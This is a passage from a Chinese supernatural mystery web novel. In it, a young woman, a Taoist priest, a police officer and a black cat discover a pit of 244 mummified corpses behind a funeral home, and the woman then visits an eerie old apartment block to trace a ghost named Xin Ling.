吴妄双手环抱在胸前，靠着汽车后座的靠背，正闭目养神，听见沈聆的声音，闭着眼睛回答道：“我只是很好奇，为什么李向泰会知道青城山的事情，我想李向泰背后的‘脏东西’，应该和尸变的事情逃不开关系，既然事情已经涉及到青城山，我作为青城山的弟子，自然不能坐视不理。”
沈聆一挑眉：“既然如此，那就不用讲收费的事情了吧？现在开始我们都是一条绳子上的蚂蚱了，谈钱伤感情。”
吴妄瞥了一眼沈聆，一副看穷人的眼神：“知道了。”
吴妄话音未落，他的肚子倒是咕咕叫了起来，听到道长肚子饿的声音，沈聆和林凌都笑了。
“看来做法是很消耗体力的事情。”
“闭嘴。”
“道长好像一直都在为吃的发愁啊……我上次给你的一百元已经吃完了吗？”
“闭嘴。”
“道长放心吧，请你吃饭的钱我们还是有的，实在不行，就请林警官出马，请我们吃一顿早饭，可以吗？林警官。”
“当然没问题，待会儿回来的路上，我知道一家肠粉挺不错的，我带你们去吃。”
“喵——”
“诶？警长也想吃肠粉吗？但是……猫能吃吗？”
吴妄看了一眼警长：“猫不能吃带盐巴的东西。”
“喵！”
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黑猫抗议，原先盘着身子蜷缩在沈聆膝盖上的它，瞪圆了眼睛看着吴妄。
……
在抵达殡仪馆的时候，太阳已经完全升起了的，早上六点的太阳带着几分暖意，划破了云层，将每一个低矮的房子上都镀上了一层淡淡的金色的暖意，这样的暖意驱散了殡仪馆的寒气，沐浴在朝阳中的殡仪馆似乎也沾染上了几分人间烟火的样子。
沈聆一行人并没有进入殡仪馆，而是绕过了殡仪馆来到了殡仪馆后侧的荒原上。
现在是白天，他们终于看清楚了乱葬岗的样子——
这里到处都是杂草，长得十分茂盛，地面也是凹凸不平的，走起来十分困难，那些凸起的小土堆看起来就像一个个小坟包，让人毛骨悚然，土堆上覆盖着一层灰白色的杂草，看起来毫无生机，偶尔能看到小坟包前插着一块断成两半的石碑，上面刻着一些模糊不清的字，难以辨认。
矮小的草丛稍微挡住了视线，时不时地，可以听到草丛中传来沙沙作响的声音，仿佛有什么东西在里面跑动。
整个乱葬岗的面积不大，一眼就能望到尽头。
然而，令人奇怪的是，昨晚吴妄和沈聆在乱葬岗时明明看到了许多低矮的树，但今天白天这些树却都不见了踪影，而且就这么一个一眼看到边界的地方，昨天他们走了快一个小时都没有走出来。
“……我的手帕不见了。”沈聆轻声说道。
她记得，昨天她把手帕系在了一棵矮小的枯树上，可现在，不要说手帕，连枯树的影子都没有看到，这一切就仿佛是他们的南柯一梦。
“或许那些树也是迷阵的一部分……随着迷阵消失，也就消失了……”
吴妄话音未落，在他脚边的黑猫警长忽然叫了几声，随后，它动了动耳朵，像是感知到了什么，细长的黑色身影轻轻一跃，钻入了一片草丛中。
“警长！等我一下……”
沈聆说着，紧跟着钻入了草丛里，吴妄与林凌紧随其后。
黑猫的动作很快，但它时不时停下来等待后面的三人跟上来，它像是有意识地把他们带往某个地方，身体在草丛里钻来钻去，越过一个个低矮的小坟包。
“这家伙不会是想去抓耗子吧。”吴妄皱眉。
“警长才不吃老鼠，老鼠多脏。”走在前面的沈聆皱着眉头、回头看了一眼吴妄。
“那你买猫粮给它吃吗？”
“不，它也不吃猫粮，不过，它倒是喜欢吃东坡肉。”
“哈？”林凌听得云里雾里，“这还是猫吗？”
吴妄冷笑：“你干脆给它再加二两白酒算了。”
就在三人说话的时候，走在前面的黑猫忽然停住了脚步，它坐了下去，转过头看着沈聆。
“怎么了？你找到什么东西了吗？”
沈聆匆忙赶到后，定睛一瞧，呈现在眼前的是一个椭圆形的大坑！
坑内，众多干瘪的尸体杂乱地躺着，这些尸体无一不是皮包骨的状态，皮肤紧紧地贴合在骨头上，整个身体仿佛没有一丝水分留存，恰似精心制作出来的干尸一般。
61. 尸坑
在看到满满一坑的干尸时，所有的脑袋都懵了一下。
所有人都忍不住倒抽一口凉气，这是什么情况？
大家都是第一次看到这么多的尸体毫无章法地堆放在一起，他们的身体呈现出一种诡异的状态，仿佛经历了一场可怕的屠杀，然而，这些尸体却没有明显的伤痕，也没有鲜血四溅的痕迹。仔细观察后发现，这些尸体全都是干巴巴的，全身的水分（包括血液、细胞液和脑浆等）都被吸干了。
它们看起来就像一具具套着干瘪外皮的骨架，空洞的眼眶里透露出无尽的恐惧与绝望。
一眼望去，这片土地上似乎躺着四五十具这样的尸体，数量之多让人毛骨悚然。
这些人像是被随意丢弃在这里，有的蜷缩成一团，有的横七竖八地躺在地上，还有的相互堆叠在一起。每个人的脸上都带着惊恐的表情，眼睛瞪得大大的，死不瞑目，仿佛在临死前还经历了极度的痛苦和折磨。
这场景实在太过震撼，众人不禁感到一阵寒意从脊梁上升起。
——他们无法理解究竟发生了什么事情，为什么会有如此众多的人惨遭毒手？而且，这些人的死亡方式如此奇特，身上的水分竟然全部被吸干，让人不禁想起那些恐怖电影中的吸血鬼传说。难道真的存在这种邪恶的生物吗？或者说，这里隐藏着某种未知的力量，将这些可怜的生命卷入其中？
“这、这些都是殡仪馆的尸体吗？”沈聆磕磕绊绊地说着，看向了吴妄。
这些人浑身的水分都被吸干了，脸颊只剩下骨相，而中国人的骨相都是大同小异的，沈聆感觉其中有一两具尸体自己似乎昨天晚上在停尸房见到过，但是不太敢肯定，毕竟昨天晚上她见到的尸体还不至于脱水到这样的程度。
“不好说，而且，我感觉数目有点儿太多了。”
吴妄绕着这个大坑走了几圈，他锐利的视线扫了一圈尸坑后，从那些胡乱堆放的尸体上目测了一下，似乎有快两百个人在这个坑里。
昨天晚上殡仪馆的尸体并没有那么多，至少，那一大排停尸柜的编号只到一百左右，不可能有这么多尸体是昨晚爬过来的。
也就是说，除去那些尸变的尸体外，这里还有一部分尸体是被人杀害后丢弃在这里的，借助没人到乱葬岗的天然“地理优势”，把这里作为隐蔽的抛尸地点。
“这可能，要看你们的了。”吴妄看向了林凌。
林凌回过神来，他连忙拿出手机：“大家先不要碰周围的东西，我这就叫我同事过来……我们需要痕迹鉴定科的同事比对一下现场的痕迹情况，另外，还要做一些列的DNA匹配工作，看来这周都有的忙了……”
林凌说着，就拨通了警察局的值班电话。
沈聆心事重重地蹲下身，将警长抱起，这只乖巧的黑猫抬起头，看了看沈聆，又用小脑袋蹭了蹭沈聆的胸口，似乎在安慰她不用担心，事情早晚都会解决的。
“会是怎样的力量才能做到这样呢……这已经不是人的力量能做到的事情了……”沈聆轻声说着，她感觉到后背一凉，第一次感受到曾经不知道的不可言说的某种存在，那种存在似乎比她现在所有的认知都要可怕，能杀掉这么多的人，哪怕是厉鬼，也一定是很厉害的存在，而且对方在杀人之后，会把人吸干，哪怕是殡仪馆的尸体都不放过，简直残忍至极！
“这家伙道行不浅啊……”吴妄检查了一圈后，回到了沈聆身边。
他的脸色也不太好看，看来对方的能力比他想象中要更强一点。
“道长有什么头绪吗？”
“做这件事情的人，应该是昨天晚上女鬼背后的人，不，应该是个厉鬼，我们遇到的‘鬼打墙’的迷阵就是他布下的，而且他通过吸食活人的生魂和死人身上残留的魂魄，提高自己的修为，就目前这个吸食规模来看，哪怕他此刻出来，我都不一定是他的对手。”
“但是我感觉很奇怪……”沈聆轻声说道，“昨天我们是看见尸变后，跟着尸变这条线索才查到这个乱葬坑的，如果我是他的话，不是更应该把这件事情压下来吗？为什么昨天晚上他搞了这么大一出动静，一下子引起这么尸体的尸变？”
“我想，他应该是知道瞒不住了，我这几天在殡仪馆调查了一些蛛丝马迹，我查到这里，只不过是时间问题，他应该是知道瞒不住的，还不如在收手之前干一票大的，这家伙，贪心得很，居然敢对活人下手，这样违反了公理天道的事情也敢做。”
“会是那天晚上在平安医院遇到的那个小女孩吗？”
沈聆还记得自己那天晚上遇到的女童，浑身都是煞气，看起来并非善类，而且如果不是当时吴妄道长及时赶到的话，她现在早已经死了，说不定也被吸干后丢弃在这个坑里，成为抛尸坑其中的一具干尸。
这么一想，她不由得感到一阵后怕，像是死里逃生一样，与死神擦肩而过。
沈聆抬起头看了一眼天空，朝阳落在她身上，金色的朝阳照亮了整个乱葬岗，但她却丝毫感觉不到暖意，反而感觉到十分寒冷，和坑里的那些尸体一样，如同坠入无尽的深渊。
……
不一会儿，警笛的声音响彻了城西殡仪馆。
警察局的李恢队长带着一行人浩浩荡荡地赶到了现场，与此同时，还有痕迹鉴定科的技术人员、人口失踪调查科的警员以及其他陵川市公安局调过来支援调查的警察。
大家拉起了黄色的警戒线，将现场封了起来。
他们穿着警服，头发、鞋子都用透明的塑料鞋套包裹着，小心翼翼地踩进乱葬坑，他们的动作轻柔而谨慎，生怕破坏这具具干尸，每一名警员都专注于自己的任务，一个接一个地将干尸从乱葬坑里
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搬动了出来。
每一次搬动干尸都是一次艰难的挑战，需要警员们格外小心，在痕迹鉴定科的指导下，警员们轻轻抬起干尸，尽量避免对其造成进一步的伤害，乱葬坑里有些干尸的姿势扭曲变形，仿佛经历过极度痛苦的折磨；有些则被埋得很深，需要警员们费力挖掘才能搬出来，法医不久后也赶到了现场，对警员们搬出的尸体进行初步检查，随后，这些尸体会被送到警察局核对身份，查找他们生前的信息。
被搬出的尸体被横着排放在乱葬坑旁边，这些干尸放了一排又一排，他们早已失去了生命的气息，有些干尸的身体已经彻底被抽干了水分，变得异常干燥和脆弱，甚至那些被压在下面、时间较长的干尸，不仅干枯，而且一碰即碎，一旦搬动，骨头就会断裂，贴在骨头上的皮肤也会像脆弱的墙纸一样剥落下来。
整个场景弥漫着一股陈旧的腐臭气味，与冰冷的空气交织在一起，让人心生恐惧，然而，这些勇敢的警员们并没有退缩或害怕。相反，他们展现出专业素养和坚定的决心，继续执行着自己的任务。
“小子，你是怎么发现这个大型抛尸现场的？”
李辉队长走到了林凌身边，此时林凌正忙着和同事将一个弯曲蜷缩的尸体搬到旁边放着，那个尸体看起来是个不到十八岁的女孩子，浑身蜷缩干瘪，死不瞑目，看起来十分可怜。
李辉的眼神带着压迫感，他似乎无论看着谁都是一副臭脸。
“我……我昨天晚上还是到殡仪馆调查了一下。”林凌不太好意思地尴尬一笑，他知道自己的这次行动违背了昨天晚上队长的指示，“我……本来是想来找找我朋友的，没想到就阴差阳错之下发现了这个坑……”
林凌不太擅长撒谎，但他知道阴厨、道长这些相对隐晦的事情不方便跟队长透露，如果让队长知道他是借助这些力量在探案的，估计得让他写检讨。
沈聆看出了林凌的窘迫，忙插话说道：“是这样的，我们本来是来参加葬礼的，但是我的黑猫发现了殡仪馆后面的乱葬岗好像有什么奇怪的动静，它咬着我的裤腿，老是要往乱葬岗走，昨天晚上夜色很黑，我们不敢过去，今天早上我们就好奇地来看一看，这不看不知道、一看吓一跳，没想到发现了这个乱葬坑。”
沈聆说完，她怀里的警长也眯着眼睛“喵喵”叫了几声，似乎在配合沈聆扯谎。
李辉眯起眼睛，似乎被对沈聆的话持有怀疑的态度。
这毕竟是个经验丰富的老警员了，他上过许多犯罪心理课，知道人在说谎的时候，是会有一些下意识的小动作，例如眼睛会看向左下方，身体会不由自主地往后倾斜，抚摸头发等小动作会增加等等，他几乎可以看出，沈聆在说谎，但让他疑惑的是，一向诚实的林凌为什么也要说谎？
显然有事情在瞒着他，这几个年轻人。。
62. 辛玲
这几个年轻人，显然是有事情在瞒着他的。
但令李辉不解的是，为什么连林凌似乎也有事情隐瞒不报？
在他的印象中，林凌算是这一批警察中最刚正不阿的存在，而且他从来没有说谎过，在办案中有任何进度或者是线索都会第一时间上报，对自己的命令和指示也从来没有过违背的情况。
但是从昨天晚上开始，林凌似乎有什么地方改变了。
不仅违背了他“不许去殡仪馆调查”的指令，更开始对他隐瞒事情了起来。
究竟……
是什么事情？
李辉这么想着，微微眯起眼睛，他那双略显浑浊的眼睛在盯着人的时候总带着几分审视，仿佛要将人看穿一般。
这种眼神让沈聆感到一股无形的压力，心中不由得一紧。
“真，真的！而且您看这位道长，身着道袍，他就是被请来参加葬礼法事的！”
沈聆指了指站在几步之外的吴妄，同时，心虚地瞥了一眼李辉。
李辉的眼神中透露出一种冷漠和威严，让人不禁心生敬畏，他的眼睛里仿佛藏着无尽的故事和经历，使得他的目光变得深邃而锐利，下压的嘴角也体现了他不苟言笑的性格。
他的脸上没有丝毫笑容，表情严肃得让人不敢轻易接近，当他盯着人看时，那种强烈的压迫感给人一种在刑讯审问的感觉，仿佛能透过外表看到内心深处最真实的想法，似乎在他面前，只有“从实交代”这么一条路可以选择。
沈聆不由自主地别开了视线，不敢与他对视。
她心中暗自嘀咕：“这个人是谁？为什么我感觉我骗不了他……”
虽然她从未见过这位警察局的队长，但从他的神态和举止中可以看出，他绝非等闲之辈。而且，不知为何，沈聆感觉到对方似乎并不喜欢自己，看着她的目光也像是在审问犯人一样，充满了怀疑和警惕。
“队、队长，我先去忙了，还有很多尸体要搬……”林凌看气氛不是很好，忙打岔了话题，转身继续干活去了。
这小子虽然熬了一个通宵，但现在依旧干劲十足，他就像是那永远不会疲惫的太阳，只要看到案件，就会连轴转，他是一个天生的警察，能为了查案付出自己所有的心血和精力，在结束一个案件后，永远会满怀希望地奔现下一个案件。
在林凌跑开后，沈聆尴尬一笑，也往旁边后退了几步，她不想站在李辉旁边，总感觉这个人浑身带刺，不好靠近。
“……好像不是个善茬。”道长轻声说道。
他看了一眼一步一步挪到自己身边的沈聆，只觉得她有几分滑稽。
“这个人感觉好可怕，我感觉他老婆好可怜，要整天面对这张臭脸。”沈聆撇了撇嘴角轻声说道。
她没想到，自己今天的这句话会一语成谶，日后，她居然真的会接触到李辉的老婆，只不过，这些都是后话。
“各人自有各人命，有的人生来就是享福的，有的人生来就是受苦的，而且你觉得‘苦’，说不定人家甘之如饴。”
吴妄看着周围的警察忙碌着，因为他们是无关人员，不能上手帮忙搬动尸体，只不过，他们作为发现尸体的人，暂时也不能离开，稍后还要跟着林凌到警察局做笔录，记录一下他们是怎么找到尸体的。
当然，不可能完全“如实反馈”就是了。
两三个警察搬动着干尸从沈聆面前经过，她扯着道长的袖子往后退了几步，给警员们让出了一点空间。
“呵，你能说出这句话，一定是因为道长你不能结婚吧，不用被婚姻荼毒。”
“你错了，我们青城山也不是一定得一辈子遵守清规戒律，如果你打算还俗，是可以在离开青城山后结婚生子的。”
“啊？居然还有回头路可以走？我以为你们和少林寺的和尚一样，一旦‘出家’就不能还俗了。”
“傻子，就算是出家了也能还俗，这些不过是个人的选择罢了，道家或者是佛家都不会干涉太多。一旦还俗后，道士或者和和尚都是可以结婚生子的，但从那之后，就和道家或者佛家没有关系了，因为你离开了从前修的‘道’，从而走上了原先俗人的‘道’，成为了芸芸众生的一员。”
“这么说，其实道长你也可以娶妻生子的？”
“我不。”吴妄斩钉截铁地说，“那条路不适合我。”
沈聆眨了眨眼眼睛“你是要当一辈子道士？”
“如果能继承山门，那是我的夙愿。”
吴妄说着，他微微抬起头，视线看向了天空，从天空中，一只飞鸟飞过天际，看起来有点儿孤单。
沈聆似懂非懂地点了点头。
就在这时，沈聆的手机震动了一下，她将怀里的警长递给吴妄，也不管警长和吴妄彼此愿不愿意，她就收回了手，拿出口袋里的手机，发现是宋明夷打来的电话。
“喂？”
沈聆接了电话后，电话那头传来了宋明夷的声音。
“沈聆！你们还在殡仪馆吗？怎么样？有找到昨天尸变的尸体吗？我刚刚剪辑了一下昨天晚上拍摄到的视频，发在网上了哈哈哈哈，现在就等着第三波流量火起来，涨粉一波！”
她的语气虽然十分兴奋，但声音带着几分疲惫，毕竟一晚上没有睡觉，是个人也会累。
“我们倒是找到昨天的死尸了……”沈聆说着，瞥了一眼那些从乱葬坑搬出来的排排放的尸体，其中一具尸体上还有纹身，她昨天晚上在尸变的尸体中，就看到了他，她记得很清楚那个纹身，因此，刚才一看到那个纹身，她就知道这里面有尸变的尸体。
“在哪里找到的？！在乱葬岗吗？”宋明夷说着，来了干劲，“严重吗？我现在过去能拍到第一手资料吗？！”
“……现在估计是不行了，警方已经控制了现场，而且你现在来，进不来封锁线的。”沈聆说着听到身边传来了猫叫的声音。
她回过头，看见吴妄等着警长，双手抓着警长瘦长的身体，将它拿开一段距离，警长伸长了两个爪子想要挠吴妄，但它的手没有吴妄的胳膊长，
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只能被架在半空中，四肢胡乱挠着。
“报警了？但是尸变的事情警察也会管吗？”
“自然是还没有告诉他们尸变的事情了……之所以报警，是因为在坑里发现了比昨晚的尸变更多的尸体。”
“什么？！”
“这些尸体都是干尸的状态了，有的尸体被抛尸很久了，在我们到殡仪馆之前，坑里应该就有一波干尸，再加上昨天晚上我们看到的那些尸体，我估计……尸体的数量有两百出头……”
“什么？！！！！”
电话那头的宋明夷简直要惊叫出声。
“哎呀！！我错过了一个惊天猛料啊！我就不该回家的，可恶！！”
电话那头传来宋明夷懊悔地捶桌子的声音。
她似乎因小失大了，为了一波小流量，错过了一波大流量，在这个流量为王的时代，只有尽可能抓住一手资料，才能抢先吸引网友们的注意。
“沈聆！你能帮我拍一下吗？！”
“不要。”
“求你了！！”
“我拒绝。”
“拜托拜托——”
“不行，现场就我们几个外人，而且林凌的队长都来了，到时候视频被你泄露出去，一看就知道是我们几个拍的，这不是纯纯‘找死’吗……”
“啊啊啊啊，气死我了——”
“行了行了，宋明夷，你不是说昨天那个女鬼你有点儿眼熟吗？那些你偷拍的视频里查出什么线索没有？”
“什么叫‘偷拍的视频’，人家我可是光明正大的、博上我的性命在取材拍摄的！”宋明夷抗议。
不过这倒是真的，如果不是当时沈聆把宋明夷推开了，那头发就缠住宋明夷了，宋明夷身上可没有灵元草，那可就真的凉透了。
“你还别说啊，沈聆，我还真找到了一些线索哦……”
电话那头，传来了沈聆在翻阅资料的消息，她七手八脚的，似乎正在从一堆文书里寻找什么。
“怎么说？”
“我发现，那个女鬼我之所以眼熟，是因为我曾经见过她！”
“哈？”
“真的！我回来想了很久，记起来我曾经在小区里取快递的时候碰到过她！当时她穿着红裙子，大晚上的，特别吓人，所以我一直对她挺有印象的……我刚刚找物业查了查监控，发现监控摄像头里的那个人，就是我们昨天晚上看到的那个只有一个头的女鬼！”
“你是什么时候碰到她的？”
“大概是半年前吧……半年前，我遇到她的那个时候，我想她应该还活着，至少那个时候她还是有身体的，而且我查了监控录像，在录像里她是有影子的、还能拿快递，不至于变成鬼后还要玩网购、拿快递吧？”
“她叫什么名字？”
“她家辛玲，二十九岁，半年前就住在我们这栋公寓楼里，是404的租户，不过我问了房东，她已经失联三个月了。”
“你们公寓？”
“嗯，我住在新隆公寓。”
63. 新隆公寓
警员们整整用了一天的时间才将所有的尸体从抛尸坑里搬出来，越是下面的尸体，损坏程度就越是严重，尤其是有的尸体因为时间太长了，皮肤都已经干裂剥落，露出皮肤下面的白骨，有的尸体皮肤剥落后，露出了躯体里的内脏，可以看到，那些干尸的内脏都已经被吸干了水分，宛如标本一样放在腹腔和胸腔内，干燥的环境倒是让尸体的腐烂程度并不严重，也给警方提供了追查尸体来源的时间。
警方几乎出动了所有的警车和运输车，将所有的尸体一个个运回去警察局。
同时，殡仪馆的负责人也被传唤到了警察局进行调查。
只不过，他并没有透露出什么有价值的线索，那个矮小秃顶的中年男人在赶到现场的时候，自己都被这么多干尸吓了一跳，脚一软直接跌坐在地上，他并不知道殡仪馆后面的空地里有这么一个像是殉葬坑一样的东西存在，他之前只知道这里是乱葬岗，在接手殡仪馆之后，也出于忌讳的心理，没有靠近过这里，没想到这里竟然藏着这么大的秘密。
从这次的抛尸坑里，警方一共发现了244具尸体，这个数字太过巧合，沈聆一听就想起了秦琴的尸变事件，因为秦琴的尸体本来也就是放在244号停尸柜里的。
这是一个巧合吗？
但是这也太过巧合了。
让人感觉像是某种献祭仪式的一环。
从当上阴厨的那一刻开始，从她在十字路口祭魂的时候遇到厉鬼的时候开始，沈聆就始终觉得冥冥之中有一种力量在操控着一切，甚至对方在逐渐变得贪心，不只是死者的亡魂，就连生人也是他的目标。
究竟是谁呢？
在死后也不愿意离开这个世界，甚至要变成恶鬼，作祟人间。
沈聆感觉到不安，这种不安的感觉是伴随着她的心跳，一下，一下，都让她感到窒息一样的沉闷。
她想要查出这背后的真相，但又担心背后的那个人（那只鬼）并非自己的力量所能抗衡，甚至是吴妄，都不一定能制服对方，她能做的，就是尽量查出对方是谁，看看是否有解决这一切的办法，沈聆从来没有忘记过，对方曾经对自己的母亲下手，附着在母亲的身上，甚至想连着自己一并吞下去，她要报仇！
只不过，目前她还是和无头苍蝇一样，没有头绪。
林凌告诉她，警察局调查了殡仪馆的所有工作人员，但是没有人知道这个抛尸坑是什么时候出现的，殡仪馆这个地方本就人烟稀少，平日里就算有值班人员、工作人员也基本不会有巡逻，更不会到后面的乱葬岗去，所以也不清楚最早的干尸是什么时候出现的。
但是关于这个乱葬岗，所有人都有所忌讳，似乎殡仪馆里流传着一些关于乱葬岗的传闻——
这个乱葬岗七八十年前就已经是乱葬岗，在建国之前，在那个兵荒马乱的年代，尸体如果没有处理，会发生疫病，于是，当时的军阀指挥着所有人将尸体都拖到这个地方火化，而在建国之后，坊间就开始流传许多关于乱葬岗“深夜听到女鬼哭泣”、“路人看到鬼影”之类的传闻，在改革开放之后，这里规划成了殡仪馆，占用了一部分土地，而还有一部分土地没有整修，也就是现在看到的乱葬之地。
没有人会主动到乱葬岗去乱晃悠，人们对于死生之事多少都有点敬畏，担心自己到那个地方晃悠会看到不干净的东西，会有一些奇怪的东西缠上自己，因此，这个坑究竟存在了多久，究竟有谁靠近过，自然也就没有定论。
警方随后调取了殡仪馆的监控摄像头，也没有拍摄到运输尸体的可疑车辆或者频繁出现在殡仪馆外面的人，殡仪馆也没有设置对准乱葬岗的摄像头，而乱葬岗外圈并没有围墙，任何人都可以从后侧方进入乱葬岗，可以说，这个乱葬坑的由来几乎没有人能说得清，如果不是今天沈聆他们发现了，或许还要过好长一段时间才能被发现，又或者，可能永远无人问津。
警方那边的调查暂时进入了一团乱麻中，既然尸体的来源查不到，那么就只能从尸体上下手了。
陵川市公安局向周围的其他地级市的公安局发了协查函，希望他们的法医一起参与尸体解剖调查工作，所有的尸体都提取了DNA，与现有的DNA库进行信息比对，但并不是所有人的DNA信息都有录入到系统里，只有曾经犯罪过的人才有DNA记录，因此这项工作算是庞杂而又效率低。
不过，所幸，沈聆他们提供了一个思路，可以清点一下殡仪馆里丢失的尸体。
经过信息比对、这244具干尸里的确有很大一部分与殡仪馆丢失的尸体能够对得上好，法医通过与死者家属提供的死者生前的照片进行骨相比对，发现其中大概有一半左右的尸体是殡仪馆丢失的尸体，甚至不仅仅是那天晚上沈聆他们看到的尸变的尸体，还有其他曾经零散丢失的尸体，也都在这些干尸中，看来是从很早之前，就陆续有尸体丢失的事件，只不过，丢失的是没有人认领的尸体，或者是没有子女的老人的尸体，因此就算是丢失，也无人问津。
但调查的进度，也仅限于那些尸体是殡仪馆丢失的尸体，至于是什么时候丢失的，以及是谁从殡仪馆搬走的，警方暂时无从得知。
林凌也反馈了一个重要的信息：在那些尸体里，并没有找到秦琴的尸体。
秦琴的尸体到底哪里去了呢？
为什么这么多的尸体都在坑里找到了，就只有秦琴的尸体消失了？
……
这个干尸坑的谜团太多了，一时间无法解答。
不过，宋明夷那边提供了一个新的线索——新隆公寓。
新隆公寓是宋明夷租住的地方，也是殡仪馆里独头女鬼曾经租住的地方。
她们俩很有缘地曾经住在同一栋公寓里，甚至在取快递的地方打过照面，没想到缘分不止于此，甚至在殡
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仪馆里，宋明夷还见到了女鬼死后的最后一面。
在死亡之前，她是一个有名字的人。
她叫辛玲。
从这两个简单的名字可以看出，她的父母希望她是一个聪明伶俐的人，只不过，没想到后面化作了女鬼，死在玄武之下。
沈聆认为，在女鬼背后支持她的人，一定跟干尸、尸变这一些系列的事情脱不开关系。
如果干尸没办法继续调查的话，说不定转而调查辛玲，会是一个新的思路。
抱着这样的打算，第二天，沈聆便来到了新隆公寓。
这座公寓虽然叫新隆公寓，但是已经有了一定的年岁，新隆公寓位于陵川市南边，公寓一共有十三层，从外观上看，公寓楼是灰白色的建筑物，甚至有的墙壁都已经脱落，经过老旧小区的改造工程，公寓楼进行过一次整修，加装了电梯，但除了电梯之外，其他的一切似乎都还停留在九十年代的风格。
宋明夷的家在新隆公寓的六楼，而辛玲曾经租住的地方在四楼。
新隆公寓的一层楼都是长条形的走廊，走廊一共有7个房间，所有的房间都是并排朝向的，走廊两头都有安装电梯，新隆公寓距离市中心的距离较远，因此，这里的租金也相对便宜，住在这里的要么是年轻的打工人，要么是退休、半退休的中老年人，这片区在陵川市的规划里都算是待翻新、待改造的片区。
沈聆决定过几天要去新隆公寓看看。
至少，了解一下辛玲是什么样的人，是否有亲人在陵川市，为什么她会变成厉鬼留在殡仪馆……
不过，在此之前，她需要跟进妹妹沈凝的二期颅脑手术。
这一次，妹妹的手术很成功。
和徐医生说的一样，颅脑外科修复了沈凝受损的脑袋，并用三维立体钛网辅助颅脑修复，完整复原了头颅的形状，将原本开放性的创口闭合了。
不知道是不是此前在殡仪馆超度了李向泰、积攒了新的一波阴德的原因，沈凝的手术似乎比想象中还要顺利一些，只不过她还住在ICU里面，后期还有盆腔修复手术和四肢的骨外科手术，但相比起颅脑手术来说，那些手术的风险较小，只要沈聆继续积攒阴德，妹妹应该可以顺利康复。
除此之外，还在家里的床底发现了爸爸的私房钱，那是一个存折，被小心翼翼地塞在袜子里，丢在床底下，如果不是外婆大扫除，都没有发现家里居然还有一笔钱。
里面的钱不多，只有二十万，但加上之前父母留下的三十万，目前沈聆手头就有五十万可以用于妹妹的治疗上。
外婆说，这多亏了警长。
“是那只黑猫钻到床底下，把袜子叼出来的。”
或许，这只名叫“警长”的黑猫，还真是沈聆的小福星。
当然，当吴妄厚着脸皮、要分掉这二十万作为降妖除魔的费用时，自然是被沈聆一口拒绝了。
64. 手帕
一辆出租车缓缓驶过略显斑驳的灰色水泥路，车轮与地面摩擦发出轻微的声响。
道路两旁，几棵大树矗立着，那枯黄的树叶在微风中摇摇欲坠，仿佛随时都会飘落下来，给大地铺上一层金色的地毯。出租车绕过这几棵几乎要掉光树叶的树木后，缓缓停靠在一堵红色砖墙旁边。
那红色的砖墙在岁月的侵蚀下，略显陈旧，在砖墙上，有几个红色的塑料字体歪歪扭扭地挂在上面——“新隆公寓”，只不过，这四个字已经褪色了，看起来至少挂了七八年，其中公寓的“公”字已经歪斜了四十五度，就只靠着一个钉子维持着，似乎随时可能掉下来。
“新隆公寓”这四个大字在阳光下显得有些黯淡。
沈聆推开车门的那一刻，一股凛冽的深秋之风面而来，让人不禁打了个寒颤。
……明明现在是春天，但不知道为什么，新隆公寓的世界却像是凝固在秋天一样，从市区而来，天空从蓝湛湛变成了乌泱泱，城南的天空乌云密布，大片凝结着水汽的云朵高悬在天空中，仿佛随时都会下起雨来。
新隆公寓道路两边的树木光秃秃的，没有一丝生机，远处的山峦也被一层薄薄的雾气笼罩着，显得格外朦胧。
新隆公寓是东西走向的，而且只有一栋独楼，在这片肃杀之气中看起来十分孤寂。
新隆公寓的楼下只有一间便利店和一个菜鸟驿站，便利店的招牌破旧不堪，字迹模糊不清，仿佛已经失去了它曾经的辉煌；菜鸟驿站的门口堆满了各种包裹，显得有些杂乱无章。
在公寓外的街道上偶尔会有车辆驶过，但很少有人步行经过这里，似乎大家也不愿意染上这栋公寓楼的孤寂。
站在公寓楼前，一棵高大的槐花树立在眼前。
这棵树粗壮的树干需要五个人手牵手才能合抱过来，给人一种庄严肃穆的感觉，槐树的高度令人惊叹，足有六层楼那么高，仿佛一座通天塔矗立在天地之间，每一根树枝都呈现出黑色，宛如钢铁般坚硬，然而上面却没有一片叶子，给人一种干枯、死寂的感觉，远远望去，整棵树就像被大火烧焦过一样，让人不禁心生敬畏。
“师傅，我点击确认到达啦。”沈聆转过头，对着车里的出租车师傅说道。
“喵——”
警长也懒洋洋地从出租车上走了下来，它眨了眨眼睛，看着新隆公寓，那双绿色的眼睛略微闪烁着寒光，它简单环视了一圈新隆公寓，最后，视线落在那棵槐树上，那眼神阴晴不定。
“好嘞，小姑娘，你一个人来新隆公寓，是来找朋友吗？”出租车师傅正要走的时候，忽然摇下车窗，冲着沈聆好心多问了一句。
“对，我朋友住在这里。”
“小姑娘，我劝你还是不要在这里待太久的好。”
“啊？为什么？”
“这栋公寓楼啊，邪门得很，我们经常跑出租车的都知道，这里到晚上可能会出来一些不干净的东西，你还年轻，眼睛可能会看到一些比较奇怪的东西，我劝你白天来玩一玩就算了，千万不要停留太晚，特别是晚上，千万别来这里。”
出租车师傅说着，已经重新启动了汽车，他说话的声音都很匆忙，像是怕被谁听到了他说的这番话一样，在沈聆还没有详细问清楚的时候，出租车师傅已经一脚油门、扬长而去。
“……奇奇怪怪的，他是什么意思啊？”
“喵——”
“是吧，我也不能理解。”沈聆摇了摇头，“不过，不知道为什么，我也总感觉这里怪怪的，根本不像是有活人住的样子……宋明夷怎么这么会找地方，找这种地方住。”
“喵——”
一人一猫朝着新隆公寓走去。
进了小区的门，小区的地面坑坑洼洼，野草在缝隙中顽强地生长着，沈聆才过那凹凸不平的地面，朝着槐树走去。
这个公寓像是没有物业管理一般，沈聆环视了一圈，都没有看到有门卫以及清洁工，地上满是尘土，一阵风吹过，尘土飞扬，让人睁不开眼睛。
“这里的卫生条件这么糟糕，怎么物业都不管的吗？居委会在哪里？”沈聆皱着眉头，感觉这里和市中心宛如两个世界，这里就像是八十年代的老校舍，处处透着几分陈旧荒凉之气。
“喵——”
在沈聆靠近槐树的时候，不知道为什么，她打了个寒颤。
“阿嚏——”
似乎有什么东西迎面扑来，并从她身体穿了过去，她瞬间感觉到一股寒气，打了个喷嚏，她转头看了看，但又没有看到出租车司机口中的“不干净的东西”。
吸了吸鼻子，沈聆轻轻一笑。
“有点意思啊，这个地方。”
“喵——”
“警长，你说，我如果在这个地方‘唤魂’的话，出来的会是辛玲的魂魄，还是别的什么古怪的东西呢？”
沈聆低下头，摸了摸黑猫的脑袋。
